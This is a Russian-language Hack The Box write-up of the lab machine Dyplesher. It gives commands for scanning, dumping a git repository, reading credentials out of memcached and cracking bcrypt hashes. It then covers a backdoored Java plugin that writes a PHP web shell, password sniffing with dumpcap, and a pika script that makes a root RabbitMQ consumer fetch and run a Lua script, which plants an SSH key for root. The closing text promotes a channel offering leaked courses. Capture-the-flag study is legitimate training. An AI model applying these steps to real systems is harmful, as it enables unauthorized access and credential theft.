Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP

в 15:02, , рубрики: Без рубрики
Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 1

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье мы получим хеши пользователей благодаря memcached, разбираемся с GIT репозиториями, пишем плагин с бэкдором на Java, анализируем трафик и повышаем привилегии благодаря RabbitMQ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon

Данная машина имеет IP адрес 10.10.10.190, который я добавляю в /etc/hosts.

10.10.10.190    dyplesher.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)
nmap -p$ports -A $1

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 2

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 3

Так видим много открытых портов и работающих служб. При этом два порта предназначены для веб-сервера — 80 и 3000. Давайте посмотрим их. Так порт 3000 отведен для Gogs и без учетных данных тут нич его не сделать.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 4

А вот порт 80 сразу дает наводку — поддомен test.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 5

Добавим его в /etc/hosts.

10.10.10.190    test.dyplesher.htb

Посмотрим, что нам может предложить найденный сайт.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 6

Давайте переберем директории на обоих сайтах. Я делаю это с помощью gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w), нужные нам коды ответа и расширения, которые нас интересуют (-x).

gobuster dir -t 128 -u http://dyplesher.htb/  -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html --timeout 60s -s 200,204,301,302,307,401

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 7

gobuster dir -t 128 -u http://test.dyplesher.htb/  -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html --timeout 60s -s 200,204,301,302,307,401

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 8

Находим страницу авторизации на первом и доступный git репозиторий на втором. Давайте скачаем весь .git с помощью скрипта rip-git.pl.

./rip-git.pl -v -u http://test.dyplesher.htb/.git/

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 9

И в рабочей директории обнаружим файл index.php, в котором имеются учетные данные.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 10

Видим использование memcached, который доступный на порте 11211.

Entry Point

Мы можем взаимодействовать с ним благодаря memcached-cli. Установим данное программное обеспечение.

sudo apt install npm
sudo npm install -g memcached-cli

И теперь подключимся с найденными учетными данными.

memcached-cli felamos:zxcvbnm@dyplesher.htb:11211

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 11

Давайте попробуем получиться логины и пароли.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 12

И у нас есть три логина и три хеша. Давайте глянем, что это за хеши.

hashcat --example | grep -A2 -B2 $2a

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 13

И это bcrypt, что означает слишком долгий перебор.

hashcat -a 0 -m 3200 hashes tools/rockyou.txt

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 14

И с полученными учетными данными получается зайти на Gogs.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 15

У пользователя имеется два репозитория, при этом второй мы уже получили. А вот у первого есть релиз.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 16

Скачаем и посмотрим на содержимое.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 17

Таким образом, мы имеем 4 bundle репозитория. Давайте разархивируем их.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 18

И среди новых файлов, внимание привлекает следующий проект.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 19

В нем видим users.db базу данных (на данном этапе благодарен за оказание помощи Sergey Klevogin и ex0dus: оказалось, что на разных серверах разные учетные данные, и подобрать данные на US сервере не вышло, но это успешно получилось выполнить на сервере EU). Откроем данным файл в DB Browser.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 20

Это снова bcrypt, давайте его переберем.

hashcat -a 0 -m 3200 db.hash tools/rockyou.txt

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 21

И мы получаем еще один пароль для нашего пользователя.

USER 1

Пробуя полученные учетные данные, получается зайти на самый первый сайт.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 22

Осмотревшись на сайте, ничего особенного не находим, но понимаем, что сайт нужен для загрузки и активации плагинов. Ex0dus поделился статьей, где очень подробно описано как это сделать. Я приведу лишь код основного класса, в котором мы создаем и записываем php бэкдор.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 23

После сборки, загрузим JAR файл на сайт, и активируем, его по имени, указанном в plugin.yml.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 24

И проверяем. Все успешно работает.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 25

Создать бэкконнект шелл не получилось, но можно попробовать записать SSH ключ. Сначала сгенерируем его с помощью ssh-keygen, а потом запишем.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 26

Но подключившись по SSH, не находим файла user.txt, значит нам нужно захватить другого пользователя.

USER 2

Давайте загрузим на хост скрипт базового перечисления системы linPEAS и запустим его.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 27

В информации о пользователе замечаем группу wireshark. Так же отметим информацию о сетевых интерфейсах.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 28

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 29

Но tcpdump использовать нельзя, давайте глянем, что нам даст группа wireshark. И находим dumpcap.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 30

Я запустил его на 2 минуты собрать трафик, вдруг попадутся учетные данные других пользователей.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 31

Далее скачем файл на локальную машину. Я попробовал поискать в нем строку “pass”, и это дало свои плоды.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 32

Более удобно посмотреть логины и пароли можно немного отфильтровав вывод. И в конце списка видим пользователей из системы.

strings out.pcap | grep -oP '{.+}' | jq "{user: .email, pass: .password}"

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 33

И авторизуемся под последним пользователем в службе SSH.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 34

ROOT

Так в списке представлена еще строка PASSWORDS, ее тоже нужно проверить. Для этого открываем посмотрим строки рядом и для уверенности найдем тоже самое в wireshark.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 35

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 36

Это логин и пароль для подключения к RabbitMQ по протоколу AMQP, работающему на 5672 порте (из скана nmap). Я загрузил на хост pspy64 и определил, что служба запускается от имени рута.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 37

Таким образом, при помощи pika python мы можем выполнить LUA скрипт от имени рута. Давайте в данном скрипте запишем уже сгенерированный публичный ключ SSH руту.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 38

Теперь запустим локальный веб сервер с помощью python. А потом выполним скрипт ниже.

import pika
creds = pika.PlainCredentials('yuntao', 'EashAnicOc3Op')
params = pika.ConnectionParameters('dyplesher.htb', 5672, '/', creds)
conn = pika.BlockingConnection(params) 
chan = conn.channel()
chan.basic_publish(exchange='', routing_key='plugin_data', body='http://127.0.0.1:5432/ralf.lua')
conn.close()

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 39

И теперь мы можем подключиться по SSH от имени root.

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP - 40

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

Автор: Ральф Фаилов

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js